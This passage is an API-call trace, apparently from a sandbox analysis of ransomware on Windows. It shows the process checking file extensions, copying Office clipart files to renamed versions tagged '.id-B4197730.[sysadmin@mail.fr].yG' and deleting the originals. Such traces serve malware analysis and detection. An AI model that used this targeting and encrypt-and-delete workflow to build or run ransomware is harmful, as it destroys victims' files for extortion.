	[0151.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.193] lstrlenW (lpString=".rar") returned 4
	[0151.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString=".bz2") returned 4
	[0151.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString=".7z") returned 3
	[0151.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.193] lstrlenW (lpString=".dbf") returned 4
	[0151.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.193] lstrlenW (lpString=".1cd") returned 4
	[0151.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.193] lstrlenW (lpString=".jpg") returned 4
	[0151.194] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.194] lstrlenW (lpString=".doc") returned 4
	[0151.194] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.194] lstrlenW (lpString=".docx") returned 5
	[0151.194] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.194] lstrlenW (lpString=".pdf") returned 4
	[0151.194] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.194] lstrlenW (lpString=".xls") returned 4
	[0151.194] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.194] lstrlenW (lpString=".xlsx") returned 5
	[0151.194] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.194] lstrlenW (lpString=".ppt") returned 4
	[0151.194] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.194] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.194] lstrlenW (lpString=".zip") returned 4
	[0151.194] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.194] lstrlenW (lpString=".rar") returned 4
	[0151.194] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.194] lstrlenW (lpString=".bz2") returned 4
	[0151.194] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.194] lstrlenW (lpString=".7z") returned 3
	[0151.195] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.195] lstrlenW (lpString=".dbf") returned 4
	[0151.195] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.195] lstrlenW (lpString=".1cd") returned 4
	[0151.195] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68
	[0151.195] lstrlenW (lpString=".jpg") returned 4
	[0151.195] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.195] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.195] lstrlenW (lpString="HH01461_.WMF") returned 12
	[0151.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.196] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=5958) returned 1
	[0151.196] CloseHandle (hObject=0x52c) returned 1
	[0151.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 0x220
	[0151.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.199] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.199] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.200] GetLastError () returned 0x0
	[0151.200] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1746, lpOverlapped=0x0) returned 1
	[0151.208] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1750, lpOverlapped=0x0) returned 1
	[0151.209] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.209] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.209] SetEndOfFile (hFile=0x550) returned 1
	[0151.210] CloseHandle (hObject=0x550) returned 1
	[0151.210] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.210] SetEndOfFile (hFile=0x52c) returned 1
	[0151.213] CloseHandle (hObject=0x52c) returned 1
	[0151.213] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01461_.wmf")) returned 1
	[0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.214] lstrlenW (lpString=".doc") returned 4
	[0151.214] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.214] lstrlenW (lpString=".docx") returned 5
	[0151.214] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.214] lstrlenW (lpString=".pdf") returned 4
	[0151.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.214] lstrlenW (lpString=".xls") returned 4
	[0151.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.214] lstrlenW (lpString=".xlsx") returned 5
	[0151.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.215] lstrlenW (lpString=".ppt") returned 4
	[0151.215] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.215] lstrlenW (lpString=".zip") returned 4
	[0151.215] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.215] lstrlenW (lpString=".rar") returned 4
	[0151.215] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString=".bz2") returned 4
	[0151.215] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString=".7z") returned 3
	[0151.215] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.215] lstrlenW (lpString=".dbf") returned 4
	[0151.215] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.215] lstrlenW (lpString=".1cd") returned 4
	[0151.215] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.215] lstrlenW (lpString=".jpg") returned 4
	[0151.215] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.215] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.215] lstrlenW (lpString=".doc") returned 4
	[0151.215] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.215] lstrlenW (lpString=".docx") returned 5
	[0151.215] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.216] lstrlenW (lpString=".pdf") returned 4
	[0151.216] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.216] lstrlenW (lpString=".xls") returned 4
	[0151.216] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.216] lstrlenW (lpString=".xlsx") returned 5
	[0151.216] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.216] lstrlenW (lpString=".ppt") returned 4
	[0151.216] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.216] lstrlenW (lpString=".zip") returned 4
	[0151.216] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.216] lstrlenW (lpString=".rar") returned 4
	[0151.216] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.216] lstrlenW (lpString=".bz2") returned 4
	[0151.216] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.216] lstrlenW (lpString=".7z") returned 3
	[0151.216] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.216] lstrlenW (lpString=".dbf") returned 4
	[0151.216] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.216] lstrlenW (lpString=".1cd") returned 4
	[0151.216] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01461_.WMF") returned 68
	[0151.216] lstrlenW (lpString=".jpg") returned 4
	[0151.216] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.217] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.217] lstrlenW (lpString="HH01618_.WMF") returned 12
	[0151.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.218] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=7296) returned 1
	[0151.218] CloseHandle (hObject=0x52c) returned 1
	[0151.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 0x220
	[0151.218] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.218] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.218] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.219] GetLastError () returned 0x0
	[0151.220] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x1c80, lpOverlapped=0x0) returned 1
	[0151.318] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x1c90, lpOverlapped=0x0) returned 1
	[0151.320] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.320] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.320] SetEndOfFile (hFile=0x550) returned 1
	[0151.400] CloseHandle (hObject=0x550) returned 1
	[0151.400] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.400] SetEndOfFile (hFile=0x52c) returned 1
	[0151.404] CloseHandle (hObject=0x52c) returned 1
	[0151.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.404] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01618_.wmf")) returned 1
	[0151.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.405] lstrlenW (lpString=".doc") returned 4
	[0151.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.405] lstrlenW (lpString=".docx") returned 5
	[0151.405] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.405] lstrlenW (lpString=".pdf") returned 4
	[0151.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.405] lstrlenW (lpString=".xls") returned 4
	[0151.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.406] lstrlenW (lpString=".xlsx") returned 5
	[0151.406] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.406] lstrlenW (lpString=".ppt") returned 4
	[0151.406] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.406] lstrlenW (lpString=".zip") returned 4
	[0151.406] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.406] lstrlenW (lpString=".rar") returned 4
	[0151.406] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.406] lstrlenW (lpString=".bz2") returned 4
	[0151.406] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.406] lstrlenW (lpString=".7z") returned 3
	[0151.406] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.406] lstrlenW (lpString=".dbf") returned 4
	[0151.406] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.406] lstrlenW (lpString=".1cd") returned 4
	[0151.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.406] lstrlenW (lpString=".jpg") returned 4
	[0151.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.406] lstrlenW (lpString=".doc") returned 4
	[0151.407] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString=".docx") returned 5
	[0151.407] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.407] lstrlenW (lpString=".pdf") returned 4
	[0151.407] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString=".xls") returned 4
	[0151.407] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.407] lstrlenW (lpString=".xlsx") returned 5
	[0151.407] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.407] lstrlenW (lpString=".ppt") returned 4
	[0151.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.407] lstrlenW (lpString=".zip") returned 4
	[0151.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0151.407] lstrlenW (lpString=".rar") returned 4
	[0151.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString=".bz2") returned 4
	[0151.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString=".7z") returned 3
	[0151.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.407] lstrlenW (lpString=".dbf") returned 4
	[0151.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.407] lstrlenW (lpString=".1cd") returned 4
	[0151.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0151.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01618_.WMF") returned 68
	[0151.407] lstrlenW (lpString=".jpg") returned 4
	[0151.408] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0151.408] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0151.408] lstrlenW (lpString="HH02313_.WMF") returned 12
	[0151.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.409] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3082) returned 1
	[0151.409] CloseHandle (hObject=0x52c) returned 1
	[0151.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x220
	[0151.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0151.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c
	[0151.409] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.409] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0151.410] GetLastError () returned 0x0
	[0151.410] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xc0a, lpOverlapped=0x0) returned 1
	[0151.412] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xc10, lpOverlapped=0x0) returned 1
	[0151.413] ReadFile (in: hFile=0x52c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0151.413] WriteFile (in: hFile=0x550, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0151.413] SetEndOfFile (hFile=0x550) returned 1
	[0151.414] CloseHandle (hObject=0x550) returned 1
	[0151.414] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0151.414] SetEndOfFile (hFile=0x52c) returned 1
	[0151.417] CloseHandle (hObject=0x52c) returned 1
	[0151.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0151.417] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02313_.wmf")) returned 1
	[0151.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.418] lstrlenW (lpString=".doc") returned 4
	[0151.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0151.418] lstrlenW (lpString=".docx") returned 5
	[0151.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0151.418] lstrlenW (lpString=".pdf") returned 4
	[0151.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0151.418] lstrlenW (lpString=".xls") returned 4
	[0151.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0151.418] lstrlenW (lpString=".xlsx") returned 5
	[0151.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0151.418] lstrlenW (lpString=".ppt") returned 4
	[0151.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0151.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 68
	[0151.419] lstrlenW (lpString=".zip") returned 4
